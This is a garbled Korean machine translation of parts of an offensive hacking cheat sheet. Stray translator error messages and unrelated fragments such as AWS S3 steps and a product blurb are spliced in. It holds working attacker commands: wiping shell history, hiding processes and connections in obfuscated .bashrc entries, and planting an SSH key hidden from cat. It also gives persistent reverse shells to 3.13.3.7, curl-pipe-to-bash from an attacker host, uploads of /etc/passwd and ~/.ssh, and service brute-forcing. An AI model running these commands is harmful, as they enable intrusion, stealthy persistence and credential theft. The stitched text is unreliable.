대체 URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

HackShell은 훨씬 더 많은 기능을 수행하지만 가장 중요한 것은 다음과 같습니다:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

보너스 팁:
" "(공백)으로 시작하는 명령도 [기록에 저장되지 않습니다](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$  id

'/usr/sbin/sshd'로 위장한 백그라운드 'nmap'을 시작합니다:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

또는 바이너리를 새 이름으로 복사하세요:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

<a id="zap"></a>
**1.iii. 명령줄 옵션 숨기기**

[zapper](https://github.com/hackerschoice/zapper)를 사용하세요:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

<a id="bash-hide-connection"></a>
**1.iv. 네트워크 연결 숨기기**

요령은 `netstat`을 가로채서 grep을 사용하여 우리의 연결을 필터링하는 것입니다. 이 예시는 포트 31337 _또는_ IP 1.2.3.4의 모든 연결을 필터링합니다. `ss`(netstat 대안)에도 동일하게 적용해야 합니다.

**방법 1 - ~/.bashrc의 bash 함수로 연결 숨기기**

이 줄을 ~/.bashrc에 추가하려면 잘라내어 붙여넣으세요.```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

The obfuscated entry to ~/.bashrc will look like this:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

*(iamaskid님 감사합니다)*

<a id="hide-a-process-user"></a>
**1.v. 사용자로 프로세스 숨기기**

"연결 숨기기"에서 이어서, 동일한 기법을 사용하여 프로세스를 숨길 수 있습니다. 이 예제에서는 nmap 프로세스를 숨기고, `grep`을 GREP로 이름을 바꾸어 프로세스 목록에 나타나지 않도록 처리합니다:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

명령을 숨기려면 다음을 사용하세요:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(`lsof`, `ss`, `ls`에도 동일하게 적용됩니다)

<a id="cat"></a>
**1.viii. cat으로부터 숨기기**

ANSI 이스케이프 문자나 간단한 `\r`([캐리지 리턴](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/))을 사용하여 `cat` 및 다른 명령으로부터 숨길 수 있습니다.

`~/.bashrc`에 마지막 명령(예: `id`)을 숨깁니다:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

`\r` (캐리지 리턴)을 추가하면 `cat`으로부터 ssh 키를 숨기는 데 큰 도움이 됩니다:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

- `exec`는 기본 셸을 마지막 프로세스(nmap)로 대체하는 데 사용됩니다. 선택 사항이지만 실행 중인/쓸모없는 셸 바이너리 수를 줄여줍니다.
- `${SLOT}`은(는) 0..19 사이의 값을 포함합니다. 이것은 "작업 번호"입니다. nmap 결과를 20개의 별도 파일로 작성하는 데 사용합니다.

40개의 워커를 사용하여 모든 [gsocket](https://www.gsocket.io/deploy) 호스트에서 [Linpeas](https://github.com/carlospolop/PEASS-ng)를 실행하세요:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

PTY 및 색상으로 완전한 편안함을 누리세요: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

위에서 사용한 동일한 (단일) 마스터 TCP 연결을 사용하여 추가 셸 세션을 생성합니다(비밀번호/인증 불필요):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

이제 사용자나 다른 누구든지 포트 31337에서 컴퓨터에 연결하고 1.2.3.4의 포트 80으로 터널링되어 'server.org'의 소스 IP로 나타날 수 있습니다. 서버가 필요 없는 대안으로는 [gs-netcat](#backdoor-network)을 사용하는 것입니다.

영리한 해커들은 SSH에 다시 연결하지 않고도 이러한 터널을 동적으로 생성하기 위해 `~C` 키 조합을 사용합니다. (MessedeDegod님 감사합니다).

우리는 공개 인터넷에 있지 않은 내부 머신에 친구에게 접근 권한을 부여하기 위해 이를 사용합니다:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

이제 브라우저가 SOCKS를 127.0.0.1:1080으로 사용하도록 구성하세요. 모든 트래픽은 이제 *server.org*를 통해 터널링되며 *server.org*의 소스 IP로 표시됩니다. 또는 서버가 필요 없는 대안으로 [gs-netcat](#backdoor-network)을 사용할 수 있습니다.

이것은 위 예시와 반대입니다. 다른 사람들이 귀하의 *로컬* 네트워크에 접근할 수 있게 하거나 귀하의 컴퓨터를 터널 종단점으로 사용하도록 허용합니다.```sh
ssh -g -R 1080 [email protected]

그런 다음 전 세계 어디에서나 이 명령을 사용하여 'root'로 'foobarblahblub'(NAT 뒤의 호스트)에 연결하세요:```sh
ssh -J [email protected] root@foobarblahblub

> 우리는 신뢰하는 워크스테이션 외의 어떤 컴퓨터에서도 `ssh`를 실행하지 않습니다. - 여러분도 (절대) 그래서는 안 됩니다.

여기서 ProxyJump가 도움이 됩니다: 우리는 두 중간 서버 $C2와 $internal-jumphost를 통해 '점프'할 수 있습니다 (그 서버들에서 셸을 실행하지 않고). ssh 연결은 우리의 $local-kali와 $target-host 사이에 종단 간(end-2-end) 암호화되며, $C2나 $internal-jumphost에는 비밀번호나 키가 노출되지 않습니다.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

I'm ready to translate the content, but the input chunk appears to be empty—no text was provided after "INPUT:". Please provide the chunk content so I can proceed with the translation.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

입력된 청크 내용이 비어 있어 번역할 콘텐츠가 없습니다. 청크 90/494의 원문이 누락된 것 같습니다. 원문을 다시 제공해 주시면 번역해 드리겠습니다.```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

[bore.pub](https://github.com/ekzhang/bore) 사용 (무료):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

[pinggy.io](https://www.pinggy.io) 사용 (60분 무료):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

Either service will generate a new temporary HTTPS-URL for you to use.  

Then, use [websocat](https://github.com/vi/websocat) or [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) on both ends to tunnel raw TCP over the HTTPS URL:

A. A simple STDIN/STDOUT pipe via HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080

### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

2222 포트를 서버의 22 포트로 전달합니다.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

추가 정보: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) 및 [Cloudflare를 통한 모든 TCP 서비스 터널링](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 및 [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c iptables로 트래픽 바운싱**

유저랜드 프록시나 포워더를 실행할 필요 없이 호스트/라우터를 통해 트래픽을 바운스합니다:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

방화벽으로 차단된 네트워크 내부 깊숙한 곳에서 gsocket-relay-network(또는 TOR)에 도달하기 위해 이 트릭을 사용합니다.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

이는 다음 조합에서도 작동합니다:
 * [Segfault의 ROOT 서버](https://thc.org/segfault/wireguard): ROOT 서버를 대상 네트워크에 연결하고 대상 네트워크 내에서 Ghost IP를 사용합니다.
 * [QEMU 터널](https://securelist.com/network-tunneling-with-qemu/111803/): 위와 동일하지만 덜 안전합니다.

---
<a id="tunnel-more"></a>
**3.vi.d 다양한 터널 트릭**

### CDN을 통한 터널링
 * [CloudFlare를 통해 모든 TCP 서비스를 터널링하는 방법](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service)을 읽거나 [DarkFlare](https://github.com/doxx/darkflare)를 사용하세요.

### 호스트를 원격 네트워크에 직접 연결
 * [WireTap](https://github.com/sandialabs/wiretap) - 사용자 또는 루트로 작동합니다. 전송 계층으로 UDP를 사용합니다. (segfault에서 [사용해 보세요](https://thc.org/segfault/wireguard).)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - 전송 계층으로 TCP를 사용합니다. [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 또는 gs-netcat과 잘 작동합니다.

### Cloudflare를 통해 SSH를 저렴한 리버스 프록시로 사용

이 방법은 [HTTPS 리버스 터널](#https)과 유사하지만 Gost나 websocat 대신 SSH를 사용합니다.
- 장점: 대상에서 *cloudflared*와 *SSH*만 사용합니다.
- 단점: CF 구독이 필요합니다.

 1. CF 대시보드 -> Zero Trust -> Networks -> Tunnels로 이동합니다.
 2. 원하는 이름의 새 'Cloudflared' 터널을 생성합니다.
 3. Debian 및 64-bit를 선택합니다. Token은 완전히 표시되지 않습니다. 회색 영역을 별도 문서에 복사하여 전체 Token(`sudo cloudflared service install <TunnelTokenHere>` 뒤의 긴 16진수 문자열)을 확인합니다.
 4. 하위 도메인을 추가합니다 (예: `ssh.team-teso.net`).
 5. Type=TCP URL=localhost:22로 설정합니다.```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

cd ai-hedge-fund
pip install -r requirements.txt
``````shell
### On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080

리버스 프록시를 통해 다른 프로토콜을 [ProxyChains 또는 GrafTCP로 터널링](#scan-proxy)하세요.


---
<a id="scan-proxy"></a>
**3.iv. Socks 프록시를 통해 모든 도구 사용**

### gsocket으로 대상에서 워크스테이션으로 터널 생성:
대상의 네트워크에서:```sh
## Create a SOCKS proxy into the target's network.
## Use gs-netcat but ssh -D would work as well.
gs-netcat -l -S

### ProxyChain 사용:```sh
## Use ProxyChain to access any host on the target's network: 
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf
proxychains -f pc.conf -q curl ipinfo.io
## Scan the router at 192.168.1.1
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
## Start 10 nmaps in parallel:
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{} 

---
<a id="your-ip"></a>
**3.v. 공용 IP 주소 찾기**```sh
curl -s wtfismyip.com/json | jq
curl ifconfig.me
dig +short myip.opendns.com @resolver1.opendns.com
host myip.opendns.com resolver1.opendns.com

IP 주소로 ASN 정보 가져오기:```sh
asn() {
  [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; }
  (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2
}
asn 1.1.1.1           # Single IP Lookup
cat IPS.txt | asn     # Bulk Lookup

---
<a id="check-reachable"></a>
**3.vi. 전 세계에서의 도달 가능성 확인**

[https://ping.pe/](https://ping.pe/)의 훌륭한 분들이 전 세계 어디서든 호스트에 ping/traceroute/mtr/dig/port-check를 수행하고, TCP 포트를 확인하고, 도메인 이름을 확인하는 등 다양한 기능을 제공합니다.

현재 호스트가 인터넷에 얼마나 잘 연결되는지 확인하려면 [OONI Probe](https://ooni.org/support/ooni-probe-cli)를 사용하세요:```sh
ooniprobe run im
ooniprobe run websites
ooniprobe list
ooniprobe list 1

빠른 (-F) 취약점 스캔```shell
# Version gathering
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
# Vulns
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

([Hackshell](https://github.com/hackerschoice/hackshell) `scan` 참조)

간단한 bash 포트 스캐너:```shell
timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

GPU에서 [10일 7-16자 hashmask](https://github.com/sean-t-smith/Extreme_Breach_Masks/)를 사용:```sh
curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
# -d2 == Use GPU #2 only (device #2)
# -O  == Up to 50% faster but limits password length to <= 15
# -w1 == workload low (-w3 == high)
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

👉 [FAQ](https://hashcat.net/wiki/doku.php?id=frequently_asked_questions)를 읽어보세요.

`$6$` 해시는 매우 느리다는 점에 유의하세요. [1-minute 7-16 char hashmask](https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/01%20instant_1-minute/1-minute_7-16.hcmask)조차도 8xRTX4090 클러스터에서 완료하는 데 며칠이 걸립니다.

[vast.ai](https://www.vast.ai)에서 $0.40/h에 RTX-4090 GPU-클러스터를 임대하고 [dizcza/docker-hashcat:cuda](https://hub.docker.com/r/dizcza/docker-hashcat)를 사용하세요 ([더 보기](https://adamsvoboda.net/password-cracking-in-the-cloud-with-hashcat-vastai/)).

그렇지 않으면 [Crackstation](https://crackstation.net), [shuck.sh](https://shuck.sh/), [ColabCat/cloud](https://github.com/someshkar/colabcat)/[Cloudtopolis](https://github.com/JoelGMSec/Cloudtopolis)을 사용하거나 자체 [AWS](https://akimbocore.com/article/hashcracking-with-aws/) 인스턴스에서 크랙하세요.

**3.xi. 무차별 대입 비밀번호 / 키**

다음은 온라인 서비스의 비밀번호를 무차별 대입(추측)하는 방법입니다.

<a id="gmail"></a>
<details>
  <summary>GMail 멍청이들 - 여기를 클릭하세요</summary>

> GMAIL 계정은 무차별 대입할 수 없습니다.  
> GMAIL에서는 SMTP AUTH/LOGIN이 비활성화되어 있습니다.  
> 모든 GMail 무차별 대입 및 비밀번호 크래킹 도구는 가짜입니다.
</details>

모든 도구는 segfault에 사전 설치되어 있습니다:```shell
ssh [email protected] # password is 'segfault'

유용한 **Nmap** 매개변수:```shell
--script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

유용한 **Hydra** 매개변수:```shell
-t4      # Limit to 4 tasks
-l root  # Set username
-V       # Show each login/password attempt
-s 31337 # Set port
-S       # Use SSL
-f       # Exit after first valid login

입력 청크(chunk 172/494)가 제공되지 않았습니다. 번역할 내용을 다시 보내주시면 번역해 드리겠습니다.```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

1. 스냅샷이 복사될 대상 계정에 새 S3 버킷을 생성합니다.

    ```bash
    aws s3 mb s3://<S3-BUCKET-TO-SHARE-SNAPSHOTS> --region <REGION>
    ```

 2. **대상 계정**에서 다음 정책을 대상 S3 버킷에 연결하고, `<S3-BUCKET-TO-SHARE-SNAPSHOTS>`, `<TARGET-ACCOUNT-ID>`, `<SOURCE-ACCOUNT-ID>`, `<ENCRYPTION_KEY-ARN>`를 사용자 환경의 값으로 바꿉니다.

    ```json
    {
            "Version": "2012-10-17",
            "Statement": [
                    {
                            "Sid": "AllowAccessFromSourceAccount",
                            "Effect": "Allow",
                            "Principal": {
                                    "AWS": "arn:aws:iam::<SOURCE-ACCOUNT-ID>:role/<PACE-AUDIT-ROLE-NAME>"
                            },
                            "Action": [
``````shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

입력:```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

No input content was provided to translate.```shell
## SMB (windows)
nmap --script smb-brute "$T"

번역할 마크다운 내용을 입력해 주세요.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

I'm sorry, but it appears the input content for chunk 192 is missing. Please provide the text to be translated.```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

#### >>> UU 인코딩/디코딩```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY

---
<a id="xfer-tmux"></a>
### 4.iii. 파일 전송 - *tmux* 사용

워크스테이션에서 `tmux`를 시작하세요. 어떤 방법으로든(ssh, gs-netcat, ...) 대상(target)에 연결하세요.

#### REMOTE에서 LOCAL로 (다운로드)

[Tmux-Logging](#tmux)을 사용하여 대상에서 터미널을 통해 워크스테이션으로 대용량 파일을 다운로드하세요.

#### LOCAL에서 REMOTE로 (업로드)

REMOTE에서 선호하는 디코딩 도구(base64)를 시작하세요:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

---
<a id="file-transfer-screen"></a>
### 4.vi. 파일 전송 - *screen* 사용

#### 원격에서 로컬로 (다운로드)

로컬 컴퓨터에서 *screen*을 실행하고 셸 안에서 원격 시스템에 로그인하십시오. 로컬 screen이 모든 출력을 screen-xfer.txt에 기록하도록 지시하십시오:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

데이터를 인코딩하기 위해 *openssl*을 사용하지만 위의 어떤 인코딩 방법도 작동합니다. 이 명령은 base64로 인코딩된 데이터를 터미널에 표시하고 *screen*은 이 데이터를 *screen-xfer.txt*에 기록합니다:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

#### 로컬에서 원격으로 (업로드)

로컬 시스템에서 데이터를 인코딩하세요:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

*screen*을 사용하여 base64 인코딩된 데이터를 screen의 클립보드로 읽어 들인 다음, 클립보드에서 원격 시스템으로 붙여넣으세요:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

참고: [openssl의 버그](https://github.com/openssl/openssl/issues/9355)로 인해 CTRL-d를 두 번 눌러야 합니다.

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. 파일 전송 - gs-netcat 및 sftp 사용

[gs-netcat](https://github.com/hackerschoice/gsocket)을 사용해 내부에 sftp 프로토콜을 캡슐화합니다. NAT/방화벽 뒤에 있는 호스트에 접근할 수 있습니다.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

또는 단일 파일을 DUMP하려면:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

Receiver: 브라우저에서 URL에 접속하여 원격 파일 시스템을 보거나 다운로드하세요.

#### 1 - PHP를 사용한 업로드:

On the Receiver:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

#### 2 - PYTHON을 사용한 업로드:

수신 측에서:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

---
<a id="download"></a>
### 4.vii. curl 없이 파일 다운로드

Python을 사용하여 다운로드만 수행하려면:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

OpenSSL을 사용하여 다음만 다운로드하세요:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

bash를 사용하여 다음만 다운로드하세요:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

그런 다음 파일 또는 디렉토리를 업로드하세요:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

보낸사람:```posh
rsync -av warez rsync://1.2.3.4:31337/up

보낸 사람:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

다른 서버에서:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

또는 Windows에서 WebDAV 공유를 마운트합니다 (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

The source content for this chunk was not provided — the input section is empty. Please supply the Markdown text to translate.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

연결 후 [업그레이드](#reverse-shell-interactive)를 통해 셸을 완전한 대화형 PTY 셸로 업그레이드하세요. 또는 netcat 대신 [pwncat-cs](https://pwncat.org/)를 사용하세요:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

또는 원격 시스템에서 이 내용을 `~/.profile`이나 crontab에 넣어 connect-back 셸을 다시 시작하고(또한 여러 인스턴스가 시작되지 않도록 중지합니다):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

<figure>static/1-threatninja/customer_profiling.png</figure>

**로그 / 모든 활동** 

실시간 모니터링과 상세 활동 추적을 통해 정보를 확인하세요. 
Threatninja는 플랫폼에서 수행된 모든 작업에 대한 완전하고 투명한 로그를 유지하여 완벽한 책임성과 추적성을 보장합니다.

<figure>static/1-threatninja/logs.png</figure>

**대시보드 / 보고서 - 곧 출시 예정**
케이스 관리 생성, 조사 데이터를 발견 항목과 연결하는 기능, 그리고 적절한 정보를 포함한 맞춤형 보고서 생성 옵션을 권장할 예정입니다.```sh
# On the target, start an openssl reverse shell as background process:
